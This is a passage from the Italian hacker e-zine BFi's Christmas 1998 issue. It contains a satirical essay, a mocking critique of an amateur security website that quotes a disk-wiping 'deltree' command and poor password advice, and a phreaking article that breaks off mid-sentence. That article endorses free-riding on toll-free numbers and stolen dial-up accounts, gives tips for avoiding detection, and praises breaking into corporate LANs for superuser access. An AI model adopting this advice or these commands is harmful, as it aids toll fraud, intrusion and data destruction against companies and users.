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BFi Natale 1998
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]---------------------
J$$$$$$$. $$$$$$$$ $$
$$ J$% d$" d$"
d$beeee$" .$$eeee .$P
.$$""""$$. $$""""" $$"
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""""""" ^" ^"" ^" ^"" ^"
---------------------[ BUTCHERED ]---[ FR0M ]---[ iNSiDE ]--------------------
------------------[ SPECiALE ]---[ ANN0 1 ]---[ NATALE 1998 ]-----------------
[ iNDiCE ]====================================================================
---[ iNTR0 ]-------------------------------------------------------[ SMaster ]
---[ LA RiNC0RSA DELLA CAR0TA ]-------------------------------------[ pIGpEN ]
---[ i BEi TEMPi S0N0 FiNiTi ]---------------------------------------[ FuSyS ]
---[ SiAM0 TUTTi PHREAKER(Z)? ]---------------------------------[ BlackBerry ]
---[ LA RAGAZZA DELL'HACKER ]--------------------------------------[ Sh4mp00 ]
---[ TRECCANNE: SiAM0 FU0Ri 0 N0? V.3 ]---------------------------[ Dr_Slump ]
---[ GESTi0NE P0RTE SERiALi iN UNiX ]-------------------------------[ pIGpEN ]
---[ GCC 2.7.2.X EXPL0iT - C VERSi0N ]------------------------------[ pIGpEN ]
---[ iMAP4 SCANNER ]------------------------------------------------[ pIGpEN ]
---[ RPC.TTDBSERVER SCANNER ]---------------------------------------[ pIGpEN ]
[ E0F ]=======================================================================
[ DiSCLAiMER ]----------------------------------------------------------------
Tutto il materiale contenuto in BFi ha fini eslusivamente informativi
ed educativi. Gli autori di BFi non si riterranno in alcun modo
responsabili per danni perpetrati a cose o persone causati dall'uso
di codice, programmi, informazioni, tecniche contenuti all'interno
della rivista.
BFi e' libero e autonomo mezzo di espressione; come noi autori siamo
liberi di scrivere BFi, tu sei libero di continuare a leggere oppure
di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati
e/o dal modo in cui lo sono, *interrompi immediatamente la lettura
e cancella questo file dal tuo computer* . Proseguendo tu, lettore,
ti assumi ogni genere di responsabilita' per l'uso che farai delle
informazioni contenute in BFi.
Si vieta il posting di BFi in newsgroup e la diffusione di *parti*
della rivista: distribuite BFi nella sua forma integrale ed originale.
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----------------------------------[ iNTR0 ]-----------------------------------
---------------------------------[ SMaster ]----------------------------------
y0.
Questo numero extra di BFi contiene articoli teknosciamanici, comici,
alkoolici e tecnici scritti durante questi primi giorni di festivita'
natalizie.
E' il nostro dono per voi lettori ;)
Da aprire a mezzanotte del 24.
Scartare con cura, sedersi alla scrivania vicino all'abete ed iniziare a
leggere...
Buon Natale e Felice Anno Nuovo.
SMaster
--------------------------[ LA RiNC0RSA DELLA CAR0TA ]------------------------
--------------------[ filosofia applicata all'informatica ]-------------------
------------------[ o informatica applicata alla filosofia? ]-----------------
----------------------------------[ pIGpEN ]----------------------------------
AUT0RE: pIGpEN
TEMP0: nevica
C0NSUM0: niente
STAT0 D'ANiM0: paranoia
C0NDiZi0NE CELEBRALE: instabile
SALUTi: a Bill Gates, uno che di virus culturali se ne intende...
REGALiN0 Di NATALE A: tutti coloro che stanno fumando una camel al posto mio
Avvertimento: "questo pezzo e' scritto allo scopo di farvi ridere e riflettere
nello stesso tempo... se ci sono riuscito ... wow"
Questo articolo e' tecnosciamanismo puro...
"Al livello piu' elementare vi e' solo il terrore di sentirsi come un
immigrato in un luogo in cui i propri figli sono nati e cresciuti, in cui si e'
sempre destinati a rincorrere la carota senza mai raggiungerla perche'
lorsignori inventano nuove tecnologie piu' rapidamente di quanto tu riesca ad
impararle.
E' come la curva di apprendimento di Sisifo. E le sole persone che possono
sentirsi a loro agio in mezzo a tutto questo sono quelle che non danno peso
alla confusione e all'ambiguita'. Io guardo alle circostanze confuse come a
opportunita', ma non e' cosa da tutti. Cio' non corrisponde alle modalita'
standard di reazione nevrotica. Noi abbiamo una cultura basata sulla capacita'
della gente di controllare qualsiasi cosa. Una volta che si adotti la
confusione come modo di vivere, si ha in concomitanza con questo atteggiamento
la presunzione di non avere in realta' alcun controllo su niente. Tutt'al piu'
si tratta di fare surf sui cavalloni bianchi."
John Barlow (tratto dal libro Cyberia di Douglas Rushkoff)
La verita' e' che siamo saturi di codice... ogni azione comporta un linguaggio
per metterla in azione... non dovete pensare per forza al mondo dove tutti voi
sguazzate, no, non parlo dell'informatica... parlo in generale del mondo
dell'informazione... questo albero con rami ovunque... pensate al ramo
pubblicitario, a quello scolastico, a quello televisivo....
Siamo bombardati di codice e spesso i nostri compilatori interni non capiscono
piu' un cazzo... e' come se noi fossimo un grosso compilatore che deve
tradurre tantissimi linguaggi... uno diverso dall'altro...
Non si puo' dire di no, perche' siamo bombardati comunque: esci di casa, ti
trovi una pubblicita' X con una ragazza di bella presenza seminuda e ti
chiedi: "Cazzo, figa quella tipa... ma che cazzo ci fa in una pubblicita' di
yogurt?". A questo punto entra in funzione il Compilatore dentro di voi..
es.:
(NB:CC non e' il compilatore e' IL Compilatore)
(Compilatore Celebrale)
*.c ---> non sta per "c" sta per "cervello"
CC yogurt.c ragazza_figa.c -o msg_x_te_fottuto_cervello
..A questa istruzione, che potete fare a meno di lanciare (tanto sta nel cron
della vostra calotta cranica e non avete accesso root per modificare la
tabella).. beh riprendendo il discorso, a questa istruzione il cervello non sa
bene che cazzo fare... alcuni rispondono in questo modo:
-alloca un puntatore mentale al "file degli yogurt"
-per mezzo di questo puntatore ficcaci di mezzo la ragazza figa
-chiudi il "file"
A questo punto ragazzi siete fottuti... ogni volta che penserete allo yogurt vi
verra' in mente quella ragazza biondona della pubblicita' X.
Ma la cosa si fa ancora piu' triste quando il compilatore celebrale svolge
l'operazione opposta:
-alloca un puntatore mentale al "file delle ragazze fighe"
/* il puntatore punta in questo modo a quelle ragazze che avete visto su
playboy (io non guardo certe cose per evitare l'append su questo file)
tutte queste si accomunano ad un'unica e amara realta' -> non le porterete
mai in camera vostra */
-per mezzo di questo puntatore ficcaci di mezzo lo yogurt
-chiudi "il file"
Beh ragazzi a questo punto siete fottuti!
Es.: state facendo "ginnastica" (ah si' si chiama cosi' adesso) con la vostra
ragazza e mentre il vostro piggy si da' un gran da fare....
"Cara non ci riesco! Mi e' venuta una voglia di non so che cosa...."
NO!! NON SARA' QUEL FOTTUTO FERRERO ROCHER (anche se la dama che vedete
nella pubblicita' e' vittima della stessa malattia).
AVRETE FAME DI QUEL FOTTUTO YOGURT!!!!!!!!!!!!!!!!!!!
Ok vi ho fatto ridere, ma pensateci bene, ci sono troppi virus culturali che
infettano la societa', ognuno con un suo linguaggio e ognuno che agisce in un
suo modo...
I periodi di contaminazione... sono soprattutto le feste.... basta mettervi
un bambino malato in Tv, un babbonatale che gli dona un fottuto panettone....
e il vostro "Compilatore celebrale" potrebbe non saper bene come mandare
questo msg nella vostra mente.
E per concludere questo discorso vi lascio con una frase detta dal mio prof
di matematica del biennio (quando ancora andavo a scuola)...
(situazione: il vicepreside stava facendo un quick sort in un armadio alla
ricerca di una relazione..)
prof di mate: "Non guardare con i tuoi occhi, guarda con quelli della mente !"
Potrebbe essere un modo per bypassare il compilatore celebrale?
Lascio a voi l'hacking del vostro cervello, ma state attenti... qualke buffer
overflow potrebbe portarvi danni celebrali permanenti!
Sperimentate sempre prima qualche attacco remoto su gente la cui versione del
cervello si avvicini alla vostra (gia' vi vedo schierati con il netgatto
celebrale ahahah :) e porca puttana fondate una buona volta una specie di
"Celebral Emergency Response Team" con ospedali di handiccapati aventi
puntatori celebrali a cazzo.....
Fatelo presto!!! Perche' io la gente non la capisco piu'....
SiAmO TuTTi MaTTi! ...PoRkA pUtTANa...
MSG PUBBLICITARIO: "Uccidi il virus culturale che ti assorbe di piu'!"
...E se io avessi voluto attraverso questa pubblicita' mandarvi un virus
culturale? (Alta scuola di hacking sociale ;) Oh diobit che casino....
vado a dormire che e' tardi .... bau bau
pIGpEN
-------------------------[ i BEi TEMPi S0N0 FiNiTi ]--------------------------
-----------------------[ S0N0 ARRiVATi GLi ANTiHAChER ]-----------------------
------------------------------[ 0CCHi0 RAGAZZi ]------------------------------
----------------------------------[ FuSyS ]-----------------------------------
NO(C) 1998 FuSyS
Lurkando come ogni giorno su it.comp.sicurezza.varie per barzellette di
ogni tipo di dementi, mi sono imbattuto nella povera PAO, presa in giro su
IRC da un tal esperto di sicurezza.
Questo esperto, che chiameremo solo EDU in onore della legge sulla privacy
ha come esperto rinomato un suo sito sul web che permette di impratichirsi
delle tecniche di hacking perpetrate dai lameroni, come li definisce lui,
in modo da poter navigare tranquilli.
L'URL del suddetto sito e'
http://www.fol.it/ergo/eduardofreni/
mi raccomando, vedete anche di firmarvi nel suo guestbook. MA, davvero,
NON IMPORTUNATELO. Anzi fate finta di aver bisogno del suo aiuto. Ne
sentirete delle belle. Sono finiti i tempi del mago Otelma, ma anche
quelli del mago Oronzo :) ..... largo allo stregone EDU, in possesso di
raffinate tecniche e di profonde conoscenze delle reti.
Vediamo pure come si presenta il sito, nelle parole dello stesso EDU:
" Sicurezza & Hacker Ovvero.... quello che e' necessario sapere per
navigare tranquilli in internet... Tutto su Hacker, Cracker, Nuke,
Sniffer, e ICQ.
Garantisco fin da ora che non vi sono errori di concetto. Appena completate
le pagine, daremo la bibliografica completa di riferimento, su cui poter
approfondire i concetti espressi.
Signori gli hacker non sono quelli che si dipingono, anche quest'argomento
sara' trattato. Come diceva sempre mio nonno, "Le cose brutte non sono cosi'
brutte se le affronti... se le guardi da vicino perbene." Cosa c'e' di
vero in questa leggenda metropolitana??? Data la serieta' dell'argomento
tutto, trattero' queste pagine facendo riferimenti personali, alla mia
esperienza diretta. Questo non per egocentrismo, ma solo per semplicita'. "
Diamine. Se sapesse anche solo scrivere probabilmente l'introduzione
potrebbe comunque esser presa per buona. Ma sotto la facciata della scarsa
padronanza della lingua si cela in realta' un mostro :)
Tanto per non farci annoiare passa subito ad un colorito glossario.
Browser = Internet Explorer o Netscape
OK. E il povero Lynx cos'e' ? E mosaic, opera, arena e compagnia bella?
Hacker = Utente esperto che accede con mezzi legali o non, a server o
applicazioni che sono riservate
Hmmm :) ancora non sapete cosa Egli intenda con utente esperto :)))
Peccato che questa definizione sia toppata cmq. Se entra con mezzi legali,
ovvero login e password ad esempio, ha forse hackato qualcosa? E se
invece fosse un kernel hacker? Gesu', ma non poteva almeno tradurre il
jargon???
Lamer = spregevoli individui che si divertono a rompere le scatole al
prossimo solo per il gusto di romperle
Bah. No comment here.
E_mail = casella postale elettronica in cui viene depositata la posta di un
utente su Internet
Oddio :) qui si va gia' sul pesante. Ed io che invio decine e decine di
caselle postali ogni giorno??? Saro' passibile di esportazione illegale
di materiali pesanti?!
Cracker = programma che compie una azione non prevista o illegittima su un
file eseguibile o su un documento normalmente protetto da password
Qui siamo nella pura ignoranza :) .... poveri cracker che passano notti
intere in reverse engineering. E poveri hacker del lato oscuro che
studiano una rete per giorni prima di attaccarla. Ed i file? Solo
eseguibili? E i poveri cipher???
:))))
Ma e' parlando degli hacker che raggiunge vette di lirismo mai sopite nel
suo cuore .....
Gruppi o singoli ragazzini poco cresciuti, con in
mano computers, ed abbonamenti Internet, sfruttano in negativo quello
che l'informatica moderna puo' dare all'umanita'
Right. E l'informatica del '500 ? Quella invece non serviva la comunita'?!
Si divertono infettando, sganciando e soprattutto sgomentando utente.
L'effetto psicologico e' la cosa principale da cui salvaguardarsi. Il laser
ad esempio, e' stato inventato per scopi civili, viene usato in medicina,
risolve problemi. Lo stesso laser usato come arma puo' avere effetti
distruttivi. Sta alla maturita' delle persone usano queste cose, utilizzarle
per scopi giusti.
Si' lo so lo so :)))))) il paragone del LASER coi nuke e' veramente
qualcosa di miracoloso se non mirabolante.
Gli HACKER Delinquenti o Santi?: Vi sono diversi livelli di Hacker. Io li ho
suddivisi in quattro livelli. Ma la mia e' una divisione, personale e
parziale, perche' per ogni gruppo si possono trovare almeno 4 sottogruppi,
ogni sottogruppo potrebbe essere suddiviso in almeno altri 6 sotto sotto
gruppi. Per brevita' mi limito a citare i livelli primari
Gesu'...... gli hacker peggio dei ministeri :) o delle congreghe religiose. E
cosa sono i sotto sotto gruppi? Un livello sopra ai sotto sotto sotto gruppi?
L'hacker che lo fa di mestiere, mestiere
nobile, e' un tipo ganzo che prova la sicurezza dei sistemi, persona
preparatissima, che vale la pena non solo di conoscere, con cui avviare
fruttuose collaborazioni, anche solo epistolari. Sono pochissimi nel mondo,
e di solito emettono notule che variano dalle 150.000 alle 500.000 l'ora,
Costano cari non per avidita', ma solo per limitare il numero dei clienti
altrimenti non avrebbero il tempo per dormire....
Ti prego.... smettila. Verrebbero le convulsioni ad un sedato in coma
profondo di terzo grado. Fruttuose collaborazioni epistolari, eh ?! :)
Probabilmente quelle che il nostro EDU intrattiene per avere tanta carne
al fuoco sul suo sito.
L'hacker che lo fa per studio, ad
esempio, il sottoscritto, lo ha fatto, senza danneggiare nessuno, per
provare la solidita' del proprio sistema, e per quello dei clienti.
Nonche' per imparare le cose che mi servono poi per lavoro, e perche'
no... per diletto. Poi tutto questo mi e' servito per difesa....
personale...
Oddio. EDU un hacker?!?!?!?!? :)))))) Qui ci vuole il classico e mai
fuori moda: BWAAHAHAHAHAHA
Per difesa, diletto e lavoro?! E per la ragazza no?
L'hacker di questo livello e', normalmente, il
ragazzino che avendo imparato un po' di nozioni le applica facendo
danni agli altri utenti... involontari o meno!. Non sono solo
ragazzini, vi sono anche appassionati chattatori, che hanno usano la
loro esperienza per punire chi gli resta antipatico... Ma non
distruggerebbe mai il sistema operativo, dell'utente, al massimo gli
pianta il computer!
Ovvero, probabilmente il nostro EDU, sempre che non finisca nel 4 gruppo.
E sempre che questa divisione non sia una barzelletta, ma triste e uggiosa
realta'.
L'hacker di questo livello e' il cosiddetto
Lamer. Il Lamer e' una persona spregevole con dei complessi o con
delle tare psicologiche o con grandi rancori. Ad esempio c'e' chi,
dopo essere stato lasciato dalla propria ragazza la uccide mettendola
sotto con la macchina, c'e' invece chi, ne trova una piu' bella.... e
si consola.... Il Lamer sicuramente la metterebbe sotto con la
macchina.......
AHHAHAHAHAHAHAHHAH i lamer sono degli psicopatici con disturbi gravi nelle
relazioni sociali e difficolta' concrete nello stablire un legame tra il
proprio IO e la realta' circostante. Certo. Come no. :) Probabilmente il
nostro EDU invece ne trova di piu' belle...... all'ospedale dove
ricoverano quelle lasciate dai lamer.
Vi sono hacker e hacher, diciamo che il
rapporto tra gli Hacker e i Lamer, e' di 100 a 1. E che se un Hacker
incontra un Lamer, normalmente il Lamer riceve una lezione memorabile,
come dire, ne esce fuori con le ossa rotte.
Oddio hacKer e hacHer. Ed un rapporto 100 a 1 non e' tra H e L, ma semmai
il contrario. Tonto. Non legge neanche cosa ha scritto in precedenza.
Oppure e' solo stordito. :)
L'imbecille prosegue con due pagine necessarie per proteggersi durante le
gite con ICQ ed affini. Non voglio levarvi il gusto di leggervele tutte da
sole. In pratica una telenovela sentimentale sui suoi problemi con gli
altri. Ma all'interno c'e' una chicca incredibile:
Vediamo Guru dell'informatica che fanno di mestiere i meccanici,
presunti/e saccenti delle reti che fanno le maestre e via dicendo. Io
non mi arrabbio quando qualcuno mi dice che sa, e poi non sa. Io mi
arrabbio quando qualcuno dice di sapere, e non solo sbaglia.... ma fa
sbagliare anche gli altri...... Se ognuno facesse il suo mestiere...
forse... vi sarebbe meno casino su internet....
Eccezionale. E allora che parli a fare?! E delle reti soprattutto? :)))
E poi:
Differenza tra l'indirizzo fisico e l'indirizzo logico.
TcpIp ha bisogno per funzionare bene di un indirizzo fisico ad esempio
ppp-a27-ct1-233 e di un indirizzo logico riferito all'indirizzo fisico
ad esempio 193.151.32.2.
Quando noi facciamo netstat dal Prompt di Ms Dos, vediamo o
l'indirizzo fisico, o l'indirizzo logico dell'utente con cui stiamo
chiacchierando.
MIO DIO e' tutto quello che mi passa per la testa. Non ho davvero parole.
Ma cosa si e' fumato questo prima di redigere tali cazzate?
Infatti la casa di Software di Bill Gates, non e' composta da, (come
buona parte di bulletti internettiani pensano, o come sorpassati,
irrascibili e perdenti amanti del Mac dicono), una massa di mandriani...
ma da persone intelligenti che curano il loro lavoro. Se non fosse cosi'
oggi, Windows sarebbe relegato nel piu' profondo dimenticatio!!! Invece
c'e' l'hanno tutti!!!
Oh mamma. Allora non e' xche' lo preinstallano dappertutto, vero?!
Come si fa a mappare (dare una lettera tipo f:) un disco di un utente
in rete su internet?
Per favore... Basta!!! non ce lo chiedete piu'!! La cosa e' fattibile,
possibile, con pochi comandi di sistema operativo, non occorre il
c++, non occorre l'assembler. Tuttavia questa tecnologia, e'
pericolosa e non va diffusa. Io l'ho appresa con altro Know How, da
una grossa societa' americana con cui ho firmato un contratto di
segretezza. Non ho voglia di diffondere tecnologie pericolose, o
violare un segreto industriale... tuttavia vi posso dare un po' di
buoni consigli ... su come fare ad evitare questo.. caso
particolare...
Cazzo. I comandi /net li ha appresi mediante un contratto di segretezza!
Che sia un non-disclosure? E per QUESTA CONOSCENZA?! :)))))))))))
Troppo pericoloso, davvero.
:-) Qualcuno che ha Mac o Unix o Linux o Nt potrebbe essere
orgoglioso, della scelta che ha fatto.... Sbagliato!!!... quando si
entra in rete, nessun sistema operativo e' piu' sicuro, e se io dal mio
computer decido, di asportare tutti i files di un Mac, lo mappo, poi
lancio un deltree (lettera del disco mac mappato)
Ad esempio deltree f:*.*
Il computer mappato mi cancellera' tutti i files ripulendo il disco
dell'utente mac o unix o quello che vuoi!!!!
I Mac sono piu' sicuri (per chi li vende), bisogna faticare un paio di
minuti in piu'...
Non e' vero che i computer Mac siano piu' robusti dei PC. Mac si disfa
come si disfa un PC. Solo che il pc costa meno...
Non so davvero piu' cosa dirvi. Io sto morendo :)))) Ho bisogno di un
tranquillante.
E' possibile che vi venga clonata la password? In genere il Provider
ha dei meccanismi software di assegnazione delle password, che non gli
consentono di vedere la password dell'utente... Quindi fidatevi del
vostro Provider.
Ma puo' essere clonata una password di E_mail?
Qui la fantascienza, la paranoia e la totale assenza di comprensione e
conoscenza si fondono in un connubio incredibile e granitico: EDU :)))
Scegliete una password semplice, ma lunga fino ad 8 caratteri, perche'
il sistema per memorizzare le password di Unix, che il vostro Provider
ha, supporta al massimo 11 caratteri, per garantirsi sicurezza e un
giusto tempo, al momento del login, chi ne mette di piu' trovera' poi
difficolta' al momento di connettersi in rete... Lo so che non tutti i
Providers usano unix o linux, diciamo che sono solo l'ottanta per
cento. :-)
Non importa che siano lettere o numeri, o lettere e numeri,
l'importante e' che sia un nome per voi familiare.. ad esempio:
Buone sono:
Pollo, Galla,Unno,Nerone,Cavolo,Virgola, Pao.tazza, Pazza.viola,
Antonio, zzz.098, Aleluia, Oremus.
AHAHAHAHHAHAHAHAH oddio..... se usi troppi caratteri hai difficolta' poi
dopo nello scriverli ad ogni prompt :))))) e guardate quali sono le
password buone secondo lui!!!
Stato = stato del collegamento, Nel nostro caso sono 2:
Time Wait = In attesa
In attesa di che? IMBECILLE! :)))
Ma vediamo a che punto si spinga il baratro delle sue conoscenze.
IP e' il piu' veloce e dominante protocollo di rete, laddove vi siano
un numero rilevanti di computer connessi ad un cavo. E' il piu'
popolare, non costa quasi nulla, visto che viene dato insieme al
sistema operativo. Fino a 4 anni fa, per reti win 3.11 costava 500.000
lire a postazione!!!!
Meno male che viene dato con il sistema operativo gratuitamente. Mi chiedo
allora che cosa si paghi in Windows. I background ?! :) E non mi sembra
proprio che il winsock costasse 500.000 lire a postazione. Il fatto che il
prezzo fosse alto per stazioni in Ethernet e Token Ring pero' non va a
scapito dell'immagine che cerca di offrirci della Microsoft? :PPP
La parola IP e' spesso riferito al protocollo TCP/IP, non e' la stessa
cosa.
When use ip, you not use tcp, but can use tcp/ip, with tcp as protocol
for transport ip!.
Tradotto vuol dire: quando usi ip, tu non usi tcp, ma puoi usarlo, con
tcp come protocollo per trasportare ip.
Al di la dello sciogli-lingua non credo ci sia altro di interessante nelle
sue parole. :) A meno che non vi interessino le specie in via di
estinzione, come l'Adminus MicroCefalus Retis.
Transmission Control Protocol (TCP) e' il layer di trasporto piu'
comunemente usato per IP, ma non e' il solo. Altri protocolli sono
usati per trasportare IP.
Forse non sa l'inglese :) TCP sarebbe un layer?! E viene usato per
trasportare IP?! Oh mamma mia!!!! Non voglio vivere nella stessa rete
con questo idiota.
TCP/IP, era stato sviluppato in origine da Defense Advanced Research
Projects Agency (DARPA) per connettere centri di ricerca, ed il
pentagono e la struttura militare USA.
Questi computer standardizzati su Tcp/Ip come protocollo di
comunicazione sono stati uniti in una rete mondiale di nome internet.
Compra anche lui le patatine con dentro i regali di VOL?! :PPPPPP
Quale e' il plus, il punto di forza di Tcp + Ip?
E' semplice.
Include un buon protocollo di trasmissione di files. (FTP)
Supporta la modalita' terminale di TelNet.
Supporta il paradigma dei domini (DNS).
Supporta , Simple Mail Transfer Protocol (SMTP) per la posta
elettronica.
Supporta, Multipurpose Internet Mail Extensions (MIME), Remote
Procedure Call (RPC), Simple Network Management Protocol (SNMP), Line
Printer Daemon (LPD), e anche l'ormai noto Dynamic Host Configuration
Protocol (DHCP).
Senza sapere di cosa stia parlando, inserisce acronimi come se piovesse.
Deve averli copiati dal glossario del Comer :) Come mai penso abbia solo
scopiazzato?! (e poi paradigma del DNS :))) :
Scusate se e' poco...
Queste applicazioni supportate da Tcp/ip abilitano il networking con
la condivisione dei files, posta elettronica, stampe remote, e
controlli remoti (vedi telecamere remote)
AHHAHAHAHAHAH vi prego fornitemi voi la correlazione tra SNMP e le
telecamere remote..... mi sento male davvero.
Il numero di ip ti viene assegnato dal provvider al momento della tua
connessione a lui. Esso e' variabile nel quarto raggruppamento di
cifre, le prime tre devono sempre rimanere invariate.
E se un provider avesse a disposizione piu' assegnazioni?! Mamma mia che
deficiente .....
Il tuo provvider utilizza DHCP, per assegnarti il tuo numero.
Normalmente, non e' possibile variare il proprio numero di ip, durante
una connessione.
Mah. Non uso DHCP io. E vorrei sapere come, anche se non normalmente, io
possa cambiare il mio IP al volo :))))) Non credo proprio si riferisca
allo spoof..... :PPP
I dati che tu trasmetti e ricevi dal tuo provvider sono inscatolati
dentro un ulteriore protocollo, di comunicazione tra te ed il
provvider.
Siore e Siori, vi presento SLIP e PPP :)))
E' buona tecnica Hacker, cambiare il proprio numero di ip, ricorrendo
al cambiamento del numero direttamente nella memoria del Modem un
attimo prima che questo spedisca i pacchettini con i dati.
AHAHHAHAHAHAHAHAHHAHAHAHAH.
Incredibile!!! Doveva farla lui la guida all'IP SPOOFING :)))))
Vi risparmio uno sproloquio unico sui protocolli e su OSI. :P
Attenzione buona parte delle informazioni sono desunte dal libro "La
Grande Guida TCP/IP" edito da Jackson Libri scritto da autori vari.
Per approfondire l'argomento, vi sono vari libri che ne parlano, io
ho studiato tci/ip su tre libri, il migliore mi pare sia quello
sopracitato... Vi sono vari siti che ne parlano, questo mi sembra tra
i migliori...
Abbastanza scarsino come libro. E probabilmente gli semra il migliore
xche' e' l'unico in italiano che ha trovato! :)))
Desunte non vuol dire copiate, ma sono informazioni ho acquisito,
studiando, da questo libro, in particolare.
Noooooo. Tranquillo. Chi lo avrebbe mai potuto anche solo pensare?! :)
Per riepilogare entrare in rete significa, condividere le risorse che
vi sono su internet, rischiando, che qualcuno ci possa guardare dentro
il nostro computer. Come dire, io vado in mezzo alla folla per vedermi
il concerto dei King Krimson, e corro il rischio che qualcuno mi pesti
un piede.
Quantomeno bisogna che faccia attenzione a dove metto i piedi...
Gia' gia'. Lo dico sempre anche io. E' cosi' pieno di cacche in InterNet
che risulta talvolta davvero difficile non calpestarle :)))
Che dire...... Merry Xmas guys ! And Happy Hacking.
FuSyS
------------------------[ SiAM0 TUTTi PHREAKER(Z)?) ]-------------------------
--------------------------------[ BlackBerry ]--------------------------------
Preciso che questo testo non e' tutto frutto della mia mente bacata e malata.
Li usano cani e porci ormai, si e' vero, i green, quest'anno, sono stati usati
da cani e porci, basta fare un veloce controllo su IRC e vedere joinare gente
con domini alla COMPUSERVE.COM, WCOM.NET o ancora IBM.NET; ma non in canali
specializzati, ma canali comuni, dove fino all'altro giorno la gente faceva
cybersesso o si bestemmiava dietro senza conludere niente.
Ho visto gente che si scambiava in query numeri e account seva, sita e cis
senza nemmeno sapere che le query possono essere tranquillamente loggate.
E poi dicono, "mi hanno bustato!", gne' gne' gne', comincia a piazzarti il
fottuto client sotto sock o bnc o fw e poi vieni da me :)
Quello che voglio dire e' che anche un newbie usa il green, ma cristo che
almeno lo usi con le dovute precauzioni, di crittografia o che altro c'e' al
mondo ;)
Il motivo di questo dilagare di free accesses?
Le voci girano. C'e' gente che li usa senza sapere a cosa va incontro, senza
sapere quali meccanismi ci stiano dietro ed e' sempre pronta a dire di essere
il phreaker della situazione. Ora i lamers non dicono piu' di essere "hackers"
(con tutti i molteplici significati che la parola ha sempre avuto), ma dicono
appunto di essere "phreaker" perche' oggigiorno venire a conoscenza di un
numero verde e di un paio di account generati e' relativamente facile.
Ma chi e' che li da in giro? Non pensate miei cari newbiez che qualcuno abbia
i tabulati verdi sotto il letto. Tutto si puo' riassumere in una parola: SCAN.
Usare i green, a parer mio, non e' ne' da lamers ne' da phreakers o
chicchessia, usare i green e' solo da furbi, ma bisogna farlo con furbizia se
si vuole veramente scroccare connessioni gratuite.
Qui qualcuno potra' dire che comunque i numeri verdi (le cui connessioni sono
pagate dalle societa' che se lo fanno abilitare) sono riskiosi, perche' in
ogni caso la societa', carte alla mano vede chi ha chiamato (o almeno quante
telefonate sono state effettuate verso il suo numero); in ogni caso, se ci
pensate bene, una azienda mondiale non si akkorge subito di una poco
significante perdita di 2000$ dollari, ma dopo un relativo intervallo di
tempo, al termine del quale bisogna smettere di usare il numero.
Mai fidarsi di green ricevuti da gente che non si conosce piu' che bene.
Mai usare account alla cieca: controllate di chi e' il green e soprattutto se
il green non e' stato disabilitato dall'utente, altrimenti vi ritroverete la
finanza che bussa alla camera del vostro letto, con le borse piene di Twilight
e HD che credevate di aver nascosto bene.
Il GREEN TRAP del numero del Viminale ha avuto questi effetti.
Il Viminale aveva chiesto la disabilitazione del servizio e Telecom non lo
aveva fatto. La "frode" quindi non era stata perpetrata ai danni del Viminale,
che quasi sicuramente non se ne sarebbe nemmeno accorto, ma ai danni della
stessa Telecom. Capirai 150 milioni non avrebbero fatto ne' caldo ne' freddo
ad una azienda che fattura miliardi all'anno a spese del povero utente.
Telecom invece ha fatto la cattiva, come non lo era stato prima, nemmeno
quando filtrava alcuni toni per impedire il boxing da e verso l'Italia.
Invece di risolvere il problema, bruciando il green e nemici come prima, si e'
scagliata, con tabulati alla mano, contro gente che e' stata sbattuta in prima
pagina come "pirata informatico" o "terrorista telematico".
Qui mi verrebbe voglia di imprecare contro tutto il sistema.
Cominciamo. Chi, dico, chi non ha un "fottuto" supporto magnetico copiato
alzi la mano ORA!!! Forse le aziende italiane cominciano in questi anni a non
usare programmi copiati, perche' impaurite da eventuali controlli della
Finanza, ma tutti gli altri, e SIAMO tanti, chi non e' mai venuto a contatto
con materiale copiato, dagli audiovisivi ai libri di scuola?
Dal questore al carabiniere, dallo studente al preside, dal rivenditore di
software al panettiere sotto casa, chi non e' mai entrato nel "giro" !!!!!!!
E la "FOTTUTA" BSA, accecata e drogata dai finanziamenti di multinazionali
come Microsoft (che ci ruba i soldi con i loro merdosi programmi), non ha
ancora capito la differenza tra chi copia "per sopravvivere" e chi pirata
software.
I secondi, se non lo avete ancora capito, sono quelli da colpire, quelli che
ti vendono i cd del PSX a 20 Karte quando le persone intelligenti e meno
stronze te lo passano a 5000, massimo 7000.
Mi sono lasciato prendere dall'invettiva, skusate, ritorniamo ai green.
Non voglio nemmeno pronunciarmi sul se sia giusto o sbagliato diffondere a
cani e porci i green e gli account, questa non e' la sede, ne' il momento per
discuterne. Bene o male tutti i movimenti underground, cyberpunk e similari,
basano la loro filosofia sulla Liberta' di informazione, ma tutta questa
informazione ha un limite? E soprattutto una informazione che puo' causare
persecuzioni legali, e' una buona informazione (con tutta la buona fede che
potete avere)? Lascio ai posteri l'ardua sentenza.
Sui green non c'e' solo la possibilita' di avere una connessione PPP a skrokko
del malcapitato, ma i green in quanto numeri vengono ancora usati (seppur con
alti rischi) per fare H o P di alto livello.
Mi spiego, molte aziende usano questi servizi telefonici per permettere ad
aziende affiliate, decentrate o in frachising, di scambiarsi i dati relativi
agli ordini, bilancio etc etc.
Molto spesso quindi ci troveremo di fronte a intere Lan (se non Wan), veri e
propri tesori di informazione. Ce ne sono di tutti i tipi, da quelle delle
aziende agricole, a quelle di abbigliamento, alle ricariche dei cellulari.
Se poi in queste Lan si possono ottenere privilegi di super-user e uscire
dalla rete locale verso internet, tanto meglio, e soprattutto e' da premiare
la sorella o il fratello che ci e' riuscito, rispetto a quei super cazzoni che
si credono chissa' chi perche' ircano con cis.
Ricordate: la bravura sta nell'umilta' e nella furbizia, poi se siete lame
umili non sono affari miei :))
Phreakkare via green e' poi un altro paio di maniche, puo' essere la
scorciatoia di fronte alla parete di acciaio (e filtri) che la telecom ha
costruito.
Un esempio per tutti la B-Box verso la Cina (makke' c'e' ancora il c7).
La telecom ha tolto il countrydirect? Eccheccifreghera' mai, ci troviamo un
grin internazionale con una multi linea (in modo da non farsi beccare subito)
e gliene fottiamo una.
Anche quest'ultima va fatta con i piedi di piombo e magari con le spalle
coperte, visto che questi numeri sono controllati :)
Me ne ricordo ancora uno che dava accesso ad una BBS privata...
Sul Motd in Ansi (da best one) si leggevano messaggi intimidatori riguardo
il logging della connessione e il tracciamento del numero chiamante..
Pensate che queste scritta abbiano fermato qualcuno?
L'ultima volta che mi sono connesso per provare l'ennesimo bug e l'ennesima
password, vedo qualcuno che scrive al mio posto qualcosa sulla linea del
Login.
